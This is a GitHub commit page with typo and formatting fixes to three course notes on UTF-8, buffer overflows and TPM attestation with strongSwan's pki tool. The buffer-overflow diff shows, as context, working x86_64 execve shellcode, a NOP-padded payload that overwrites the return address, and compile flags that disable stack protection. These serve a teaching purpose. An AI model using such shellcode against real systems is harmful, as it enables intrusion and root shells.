Skip to content

Commit

Permalink
Platform_Security: Cosmetics
Browse files Browse the repository at this point in the history
  • Loading branch information
strongX509 committed Mar 17, 2021
1 parent 4f4252a commit f60e158
Show file tree
Hide file tree
Showing 3 changed files with 13 additions and 13 deletions.
2 changes: 1 addition & 1 deletion Computing_Foundations/Character_Sets.md
Original file line number Diff line number Diff line change
Expand Up @@ -191,7 +191,7 @@ As a comparison we show how conversion to uppercase or lowercase can be easily d

The 8-bit Unicode Transformation Format [UTF-8][UTF-8] is a variable width character encoding capable of encoding all 1,112,064 valid code points in the *Unicode (Universal Coded Character Set)* using one to four 8-bit bytes.

It was designed for backward compatibility with ASCII. Code points with lower numerical values, which tend to occur more frequently, are encoded using fewer bytes. The first 128 characters of Unicode, which correspond one-to-one with ASCII, are encoded using a single byte with the same binary value as ASCII, so that valid ASCII text is valid UTF-8-encoded Unicode as well. Since ASCII bytes do not occur when encoding non-ASCII code points into UTF-8, UTF-8 is safe to use within most programming and document languages that interpret certain ASCII characters in a special way, such as "/" (slash) in filenames, "\" (backslash) in escape sequences, and "%" in printf.
It was designed for backward compatibility with ASCII. Code points with lower numerical values, which tend to occur more frequently, are encoded using fewer bytes. The first 128 characters of Unicode, which correspond one-to-one with ASCII, are encoded using a single byte with the same binary value as ASCII, so that valid ASCII text is valid UTF-8-encoded Unicode as well. Since ASCII bytes do not occur when encoding non-ASCII code points into UTF-8, UTF-8 is safe to use within most programming and document languages that interpret certain ASCII characters in a special way, such as `/` (slash) in filenames, `\` (backslash) in escape sequences, and `%` in printf.

Since the restriction of the Unicode code-space to 21-bit values in 2003, UTF-8 is defined to encode code points in one to four bytes, depending on the number of significant bits in the numerical value of the code point. The following table shows the structure of the encoding. The x characters are replaced by the bits of the code point. If the number of significant bits is no more than seven, the first line applies; if no more than 11 bits, the second line applies, and so on.

Expand Down
16 changes: 8 additions & 8 deletions Computing_Systems/Buffer_Overflow.md
Original file line number Diff line number Diff line change
Expand Up @@ -98,7 +98,7 @@ We see that the *Segmentation fault* occurred at instruction address `0x7fffffff
```console
export STR=`echo -e -n "\x90\x90\x90\x90\x90\x90\x90\x9012345678\xa8\xe4\xff\xff\xff\x7f"`
```
We start the debugger agin and set a breakpoint at line `15`
We start the debugger again and set a breakpoint at line `15`
```assembly
> gdb -n overflow
(gdb) break 15
Expand Down Expand Up @@ -158,7 +158,7 @@ Now we step through the machine instructions step by step until we execute the `
(gdb) x/i $rip
=> 0x7fffffffe4a8: nop
```
The `retq`operation retrieves the saved `%rip`from the stack and jumps to the start address `0x7fffffffe4a8`of the `buf` variable on the *Stack*. The next machine instruction to be executed will be the `nop` operation encoded into the input string.
The `retq`operation retrieves the saved `%rip` from the stack and jumps to the start address `0x7fffffffe4a8`of the `buf` variable on the *Stack*. The next machine instruction to be executed will be the `nop` operation encoded into the input string.

But when we try to execute the `nop` instruction on the *Stack* the program crashes with a *Segmentation fault*, the reason being that by default execution on the *Stack* is not allowed.
```assembly
Expand All @@ -182,7 +182,7 @@ Program received signal SIGSEGV, Segmentation fault.
```
## The execve() Command <a name="section2"></a>

The `execve()` system call hands the current process together with its process ID and all access rights to the program called by `execve()` .
The `execve()` system call hands the current process together with its process ID and all access rights to the program called by `execve()`.

**C 2**: <a name="c2"></a> The C program [execve.c](execve.c) shown below hands over control of the current process to `/bin/sh`.
```C
Expand All @@ -201,7 +201,7 @@ The `execve()` system call hands the current process together with its process I
13 exit(0);
14 }
```
We compile `execve.c`with the command
We compile `execve.c` with the command
```console
> gcc -o execve execve.c
```
Expand All @@ -222,7 +222,7 @@ uid=0(root) gid=0(root) groups=0(root)

## Shell Code <a name="section3"></a>

The following x86_64 assembly code executes `/bin/shell`via an `execve()` system call.
The following x86_64 assembly code executes `/bin/shell` via an `execve()` system call.
```assembly
jmp string ; \xeb\x17 jump to string:
Expand Down Expand Up @@ -278,7 +278,7 @@ char shellcode[] =
27 exit(0);
28 }
```
We compile `exploit.c`whith disabled canaries and enabled stack execution
We compile `exploit.c` whith disabled canaries and enabled stack execution
```console
> gcc -ggdb -fno-stack-protector -Wa,--exec -o exploit exploit.c
```
Expand All @@ -288,11 +288,11 @@ When we execute `exploit` with an input argument exactly matching the buffer si
&buf 0x00007fffffffe480 rbp 0x00007fffffffe4d0 rip 0x00005555555551e7
We happily returned!
```
Since the saved `%rip`is at an offset of 56 bytes from the start address of `buf` we append 19 `nop`operations to the 37 byte shell code before overwriting the return address with the start addresss `0x7fffffffe470` of the buffer.
Since the saved `%rip` is at an offset of 56 bytes from the start address of `buf` we append 19 `nop` operations to the 37 byte shell code before overwriting the return address with the start addresss `0x7fffffffe470` of the buffer.
```console
> export STR=`echo -e -n "\xeb\x17\x5f\x48\x31\xd2\x88\x57\x07\x48\x89\x7f\x08\x48\x89\x57\x10\x48\x8d\x77\x08\xb0\x3b\x0f\x05\xe8\xe4\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x70\xe4\xff\xff\xff\x7f"`
```
When we execute `expoit`with the shell code, the `copy`function never returns to the main program but opens a shell instead.
When we execute `exploit` with the shell code, the `copy` function never returns to the main program but opens a shell instead.
```console
> ./exploit $STR
&buf 0x00007fffffffe470 rbp 0x9090909090909090 rip 0x00007fffffffe470
Expand Down
8 changes: 4 additions & 4 deletions Operating_Systems/Platform_Security.md
Original file line number Diff line number Diff line change
Expand Up @@ -212,7 +212,7 @@ signature algorithm is NULL with ERROR hash
keyid: ab:49:74:05:79:d8:fd:67:cc:fc:69:33:fa:67:a8:15:75:f7:17:00
subjkey: ee:8d:e6:b5:d9:47:e0:ad:3a:69:26:cd:7f:8f:01:48:1c:f0:f6:32
```
Since no signature algorithm is defined we notice that an `EK`is a decryption key and thus cannot be used for signatures.
Since no signature algorithm is defined we notice that an `EK` is a decryption key and thus cannot be used for signatures.

In order for `pki` to connect correctly to the TPM simulator the `mssim` driver must be specified explicitly in `/etc/strongswan.conf`
```console
Expand Down Expand Up @@ -242,7 +242,7 @@ TPM 2.0 - ECC curves: NIST_P256 NIST_P384 BN_P256
TPM 2.0 - PCR banks: SHA1 SHA256 SHA384 SHA512
TPM 2.0 via TSS2 v2 available
```
Then the PKCS#1 encoding of the public key follows:
Then the `PKCS#1` encoding of the public key follows:
```console
L0 - subjectPublicKeyInfo:
L1 - algorithm:
Expand Down Expand Up @@ -525,7 +525,7 @@ A quick look at the X.509 certificate before it is delivered to the user

### RSA Attestation Certificate

In order to protect `AK` certificate received from the `CA` from accidental deletion from the system harddisk we want to store it in the *Non-Volatile* `NV` memory of the TPM. In order to allocate the required amount of `NV` memory we determine the exact size of the binary-encoded X.509 certificate
In order to protect the `AK` certificate received from the `CA` from accidental deletion from the system harddisk we want to store it in the *Non-Volatile* `NV` memory of the TPM. To allocate the required amount of `NV` memory we determine the exact size of the binary-encoded X.509 certificate
```console
ls -l ak_rsa_Cert.der
-rw-r--r-- 1 root root 842 Mar 15 19:19 ak_rsa_Cert.der
Expand All @@ -547,7 +547,7 @@ The following command shows all objects stored in `NV` memory
The `pki` tool can display X.509 certificates stored in the TPM using the object handle
```console
# pki --print --type x509 --keyid 0x01800003
PM 2.0 via TSS2 v2 available
TPM 2.0 via TSS2 v2 available
loaded certificate from TPM NV index 0x01800003
subject: "C=CH, O=Cyber, [email protected]"
issuer: "C=CH, O=Cyber, CN=My RSA CA"
Expand Down

0 comments on commit f60e158

Please sign in to comment.